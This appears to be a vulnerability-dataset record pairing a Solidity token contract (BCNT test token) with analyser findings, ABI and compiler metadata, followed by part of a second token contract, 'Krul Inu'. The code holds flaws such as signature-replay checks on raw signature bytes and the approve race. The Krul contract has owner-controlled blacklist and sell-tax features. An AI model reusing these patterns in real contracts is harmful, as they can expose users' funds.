/** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Lock Token * * Token would be locked for thirty days after ICO. During this period * new buyer could still trade their tokens. */ contract LockToken is StandardToken { using SafeMath for uint256; bool public isPublic; PrivateToken public privateToken; modifier onlyPrivateToken() { require(msg.sender == address(privateToken)); _; } /** * @dev Deposit is the function should only be called from PrivateToken * When the user wants to deposit their private Token to Origin Token. They should * let the Private Token invoke this function. * @param _depositor address. The person who wants to deposit. */ function deposit(address _depositor, uint256 _value) public onlyPrivateToken returns(bool){ require(_value != 0); balances[_depositor] = balances[_depositor].add(_value); emit Transfer(privateToken, _depositor, _value); return true; } } /** * @title Eliptic curve signature operations * @dev Based on https://gist.github.com/axic/5b33912c6f61ae6fd96d6c4a47afde6d * TODO Remove this library once solidity supports passing a signature to ecrecover. * See https://github.com/ethereum/solidity/issues/864 */ library ECRecovery { /** * @dev Recover signer address from a message by using their signature * @param hash bytes32 message, the hash is the signed message. What is recovered is the signer address. * @param sig bytes signature, the signature is generated using web3.eth.sign() */ function recover(bytes32 hash, bytes sig) internal pure returns (address) { bytes32 r; bytes32 s; uint8 v; // Check the signature length if (sig.length != 65) { return (address(0)); } // Divide the signature in r, s and v variables // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solium-disable-next-line security/no-inline-assembly assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) v := byte(0, mload(add(sig, 96))) } // Version of signature should be 27 or 28, but 0 and 1 are also possible versions if (v < 27) { v += 27; } // If the version is correct return the signer address if (v != 27 && v != 28) { return (address(0)); } else { // solium-disable-next-line arg-overflow return ecrecover(hash, v, r, s); } } /** * toEthSignedMessageHash * @dev prefix a bytes32 value with "\x19Ethereum Signed Message:" * and hash the result */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256( abi.encodePacked("\x19Ethereum Signed Message:\n32", hash) ); } } contract PrivateToken is StandardToken { using SafeMath for uint256; string public name; // solium-disable-line uppercase string public symbol; // solium-disable-line uppercase uint8 public decimals; // solium-disable-line uppercase mapping (address => bool) internal superUsers; address public admin; bool public isPublic; uint256 public unLockTime; LockToken originToken; event StartPublicSale(uint256 unlockTime); event Deposit(address indexed from, uint256 value); /** * @dev check if msg.sender is allowed to deposit Origin token. */ function isDepositAllowed() internal view{ // If the tokens isn't public yet all transfering are limited to origin tokens require(isPublic); require(msg.sender == admin || block.timestamp > unLockTime); } /** * @dev Deposit msg.sender's origin token to real token */ function deposit(address _depositor) public returns (bool){ isDepositAllowed(); uint256 _value; _value = balances[_depositor]; require(_value > 0); balances[_depositor] = 0; require(originToken.deposit(_depositor, _value)); emit Deposit(_depositor, _value); // This event is for those apps calculate balance from events rather than balanceOf emit Transfer(_depositor, address(0), _value); } /** * @dev Start Public sale and allow admin to deposit the token. * normal users could deposit their tokens after the tokens unlocked */ function startPublicSale(uint256 _unLockTime) public onlyAdmin { require(!isPublic); isPublic = true; unLockTime = _unLockTime; emit StartPublicSale(_unLockTime); } /** * @dev unLock the origin token and start the public sale. */ function unLock() public onlyAdmin{ require(isPublic); unLockTime = block.timestamp; } modifier onlyAdmin() { require(msg.sender == admin); _; } constructor(address _admin, string _name, string _symbol, uint8 _decimals, uint256 _totalSupply) public{ originToken = LockToken(msg.sender); admin = _admin; name = _name; symbol = _symbol; decimals = _decimals; totalSupply_ = _totalSupply; balances[admin] = _totalSupply; emit Transfer(address(0), admin, _totalSupply); } } contract BCNTToken is LockToken{ string public constant name = "Bincentive SIT Token"; // solium-disable-line uppercase string public constant symbol = "BCNT-SIT"; // solium-disable-line uppercase uint8 public constant decimals = 18; // solium-disable-line uppercase uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals)); mapping(bytes => bool) internal signatures; event TransferPreSigned(address indexed from, address indexed to, address indexed delegate, uint256 amount, uint256 fee); /** * @notice Submit a presigned transfer * @param _signature bytes The signature, issued by the owner. * @param _to address The address which you want to transfer to. * @param _value uint256 The amount of tokens to be transferred. * @param _fee uint256 The amount of tokens paid to msg.sender, by the owner. * @param _nonce uint256 Presigned transaction number. * @param _validUntil uint256 Block number until which the presigned transaction is still valid. */ function transferPreSigned( bytes _signature, address _to, uint256 _value, uint256 _fee, uint256 _nonce, uint256 _validUntil ) public returns (bool) { require(_to != address(0)); require(signatures[_signature] == false); require(block.number <= _validUntil); bytes32 hashedTx = ECRecovery.toEthSignedMessageHash(transferPreSignedHashing(address(this), _to, _value, _fee, _nonce, _validUntil)); address from = ECRecovery.recover(hashedTx, _signature); require(from != address(0)); balances[from] = balances[from].sub(_value).sub(_fee); balances[_to] = balances[_to].add(_value); balances[msg.sender] = balances[msg.sender].add(_fee); signatures[_signature] = true; emit Transfer(from, _to, _value); emit Transfer(from, msg.sender, _fee); emit TransferPreSigned(from, _to, msg.sender, _value, _fee); return true; } /** * @notice Hash (keccak256) of the payload used by transferPreSigned * @param _token address The address of the token. * @param _to address The address which you want to transfer to. * @param _value uint256 The amount of tokens to be transferred. * @param _fee uint256 The amount of tokens paid to msg.sender, by the owner. * @param _nonce uint256 Presigned transaction number. * @param _validUntil uint256 Block number until which the presigned transaction is still valid. */ function transferPreSignedHashing( address _token, address _to, uint256 _value, uint256 _fee, uint256 _nonce, uint256 _validUntil ) public pure returns (bytes32) { /* "0d2d1bf5": transferPreSigned(address,address,uint256,uint256,uint256,uint256) */ return keccak256(bytes4(0x0a0fb66b), _token, _to, _value, _fee, _nonce, _validUntil); } function transferPreSignedHashingWithPrefix( address _token, address _to, uint256 _value, uint256 _fee, uint256 _nonce, uint256 _validUntil ) public pure returns (bytes32) { return ECRecovery.toEthSignedMessageHash(transferPreSignedHashing(_token, _to, _value, _fee, _nonce, _validUntil)); } /** * @dev Constructor that gives _owner all of existing tokens. */ constructor(address _admin) public { totalSupply_ = INITIAL_SUPPLY; privateToken = new PrivateToken( _admin, "Bincentive SIT Private Token", "BCNP-SIT", decimals, INITIAL_SUPPLY ); } }
[{"defect": "Bad_randomness", "type": "Business_logic", "severity": "Medium", "lines": ["417"]}, {"defect": "Missing_return_statement", "type": "Code_specification", "severity": "Low", "lines": ["385"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["367", "440", "439", "267"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["442"]}, {"defect": "Dependency_of_timestamp", "type": "Business_logic", "severity": "Medium", "lines": ["382"]}]
[{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"BCNTToken.sol": [322, 323, 324, 325, 326, 327, 328, 329]}}, {"check": "boolean-equal", "impact": "Informational", "confidence": "High", "lines": {"BCNTToken.sol": [467]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"BCNTToken.sol": [267]}}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium", "lines": {"BCNTToken.sol": [304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BCNTToken.sol": [15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BCNTToken.sol": [32, 33, 34, 35, 36, 31]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BCNTToken.sol": [62]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BCNTToken.sol": [224, 225, 226, 215, 216, 217, 218, 219, 220, 221, 222, 223]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BCNTToken.sol": [282, 283, 284, 285, 286, 287]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BCNTToken.sol": [64]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BCNTToken.sol": [160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 155, 156, 157, 158, 159]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BCNTToken.sol": [455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480, 481, 482, 483, 484]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BCNTToken.sol": [405, 406, 407, 408, 409, 410]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BCNTToken.sol": [63]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BCNTToken.sol": [183, 184, 185, 186, 187]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BCNTToken.sol": [512, 513, 514, 515, 516, 517, 518, 519, 520, 521, 522, 523, 510, 511]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BCNTToken.sol": [237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BCNTToken.sol": [388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BCNTToken.sol": [416, 417, 418, 415]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BCNTToken.sol": [195, 196, 197, 198, 199, 200, 201, 202, 203, 204]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"BCNTToken.sol": [3]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"BCNTToken.sol": [1]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"BCNTToken.sol": [427]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BCNTToken.sol": [501]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BCNTToken.sol": [516]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BCNTToken.sol": [460]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BCNTToken.sol": [197]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BCNTToken.sol": [183]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BCNTToken.sol": [90]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BCNTToken.sol": [456]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BCNTToken.sol": [500]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BCNTToken.sol": [459]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BCNTToken.sol": [196]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BCNTToken.sol": [461]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BCNTToken.sol": [282]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BCNTToken.sol": [156]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BCNTToken.sol": [499]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BCNTToken.sol": [157]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BCNTToken.sol": [183]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BCNTToken.sol": [512]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BCNTToken.sol": [216]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BCNTToken.sol": [498]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BCNTToken.sol": [90]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BCNTToken.sol": [496]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BCNTToken.sol": [511]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BCNTToken.sol": [513]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BCNTToken.sol": [238]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BCNTToken.sol": [405]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BCNTToken.sol": [105]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BCNTToken.sol": [217]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BCNTToken.sol": [239]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BCNTToken.sol": [458]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BCNTToken.sol": [514]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BCNTToken.sol": [515]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BCNTToken.sol": [457]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BCNTToken.sol": [388]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BCNTToken.sol": [158]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BCNTToken.sol": [282]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BCNTToken.sol": [497]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"BCNTToken.sol": [398]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"BCNTToken.sol": [76]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"BCNTToken.sol": [382]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"BCNTToken.sol": [442]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"BCNTToken.sol": [384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383]}}]
[{"error": "Integer Underflow.", "line": 354, "level": "Warning"}, {"error": "Integer Overflow.", "line": 510, "level": "Warning"}, {"error": "Integer Overflow.", "line": 455, "level": "Warning"}, {"error": "Integer Overflow.", "line": 50, "level": "Warning"}, {"error": "Integer Underflow.", "line": 364, "level": "Warning"}, {"error": "Integer Underflow.", "line": 363, "level": "Warning"}]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 508, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 315, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 335, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 183, "severity": 2}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 388, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 3, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 72, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 265, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 361, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 304, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 508, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 304, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 425, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 425, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 456, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 322, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 74, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 76, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 372, "severity": 1}]
[{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_token","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"},{"name":"_fee","type":"uint256"},{"name":"_nonce","type":"uint256"},{"name":"_validUntil","type":"uint256"}],"name":"transferPreSignedHashing","outputs":[{"name":"","type":"bytes32"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"privateToken","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"INITIAL_SUPPLY","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_depositor","type":"address"},{"name":"_value","type":"uint256"}],"name":"deposit","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_subtractedValue","type":"uint256"}],"name":"decreaseApproval","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_signature","type":"bytes"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"},{"name":"_fee","type":"uint256"},{"name":"_nonce","type":"uint256"},{"name":"_validUntil","type":"uint256"}],"name":"transferPreSigned","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_token","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"},{"name":"_fee","type":"uint256"},{"name":"_nonce","type":"uint256"},{"name":"_validUntil","type":"uint256"}],"name":"transferPreSignedHashingWithPrefix","outputs":[{"name":"","type":"bytes32"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_addedValue","type":"uint256"}],"name":"increaseApproval","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"isPublic","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[{"name":"_admin","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":true,"name":"delegate","type":"address"},{"indexed":false,"name":"amount","type":"uint256"},{"indexed":false,"name":"fee","type":"uint256"}],"name":"TransferPreSigned","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"}]
v0.4.24+commit.e67f0147
false
200
000000000000000000000000d1603167b2a2cb87ab77be3b6a479719fdaea15d
Default
false
bzzr://c09ef194766a90aabd2e559515d5112997658f8e8a58bcbde6f8b92cdebebdc2
Krul
0x71cf64902ca5aa48f86d7e8e0a855f358bfd805f
Solidity
/** * SPDX-License-Identifier: Unlicensed $Krul is much more than the biggest Anime token on the ETH network, we have the huge utility 2% of the taxes are Redistribution for $Krul holders, Also a rare NFTs collection coming soon Join US: * Twitter: https://twitter.com/Krul_Inu * Telegram: https://t.me/krulinu * Website: https://krulinu.com/ * */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Krul is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => uint256) private _buyMap; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Krul Inu"; string private constant _symbol = "KRUL"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x6EC9d55783706F6f77cD2098Fd8F030a6DA66d1f); _feeAddrWallet2 = payable(0x6EC9d55783706F6f77cD2098Fd8F030a6DA66d1f); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x6EC9d55783706F6f77cD2098Fd8F030a6DA66d1f), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function originalPurchase(address account) public view returns (uint256) { return _buyMap[account]; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function setMaxTx(uint256 maxTransactionAmount) external onlyOwner() { _maxTxAmount = maxTransactionAmount; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (!_isBuy(from)) { // TAX SELLERS 25% WHO SELL WITHIN 24 HOURS if (_buyMap[from] != 0 && (_buyMap[from] + (24 hours) >= block.timestamp)) { _feeAddr1 = 1; _feeAddr2 = 25; } else { _feeAddr1 = 2; _feeAddr2 = 14; } } else { if (_buyMap[to] == 0) { _buyMap[to] = block.timestamp; } _feeAddr1 = 2; _feeAddr2 = 12; } if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = 